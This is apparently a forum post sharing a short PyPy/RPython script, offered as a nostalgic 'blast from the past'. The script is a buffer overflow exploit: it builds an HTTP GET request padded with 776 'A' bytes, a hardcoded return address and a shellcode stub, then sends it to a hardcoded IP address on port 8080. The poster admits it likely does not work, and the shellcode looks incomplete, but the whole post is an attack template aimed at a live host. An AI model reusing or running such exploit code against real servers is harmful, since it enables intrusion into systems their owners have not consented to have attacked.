This likely does not work but I figured it was a pretty fun blast from the past.
Code: Select all
from pypy.rlib import rsocket
from pypy.rpython.lltypesystem import lltype
from pypy.rpython.lltypesystem import rffi
def main(argv):
PORT = 8080
JUNK = "A"
ret = "\x67\x42\xa7\x71"
mycode = ("\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49")
request = "GET /"
for i in range(776):
request += JUNK
request += ret
request += mycode
request += " HTTP/1.1"
request += "\r\n"
ptr = rffi.str2charp(mycode) # returns a "char*" pointer
print ptr
print len(request)
s = rsocket.RSocket(rsocket.AF_INET, rsocket.SOCK_STREAM)
target = rsocket.INETAddress("85.25.149.220", 8080)
s.connect(target)
s.send((request, 0))
return 0
def target(*args):
return main, None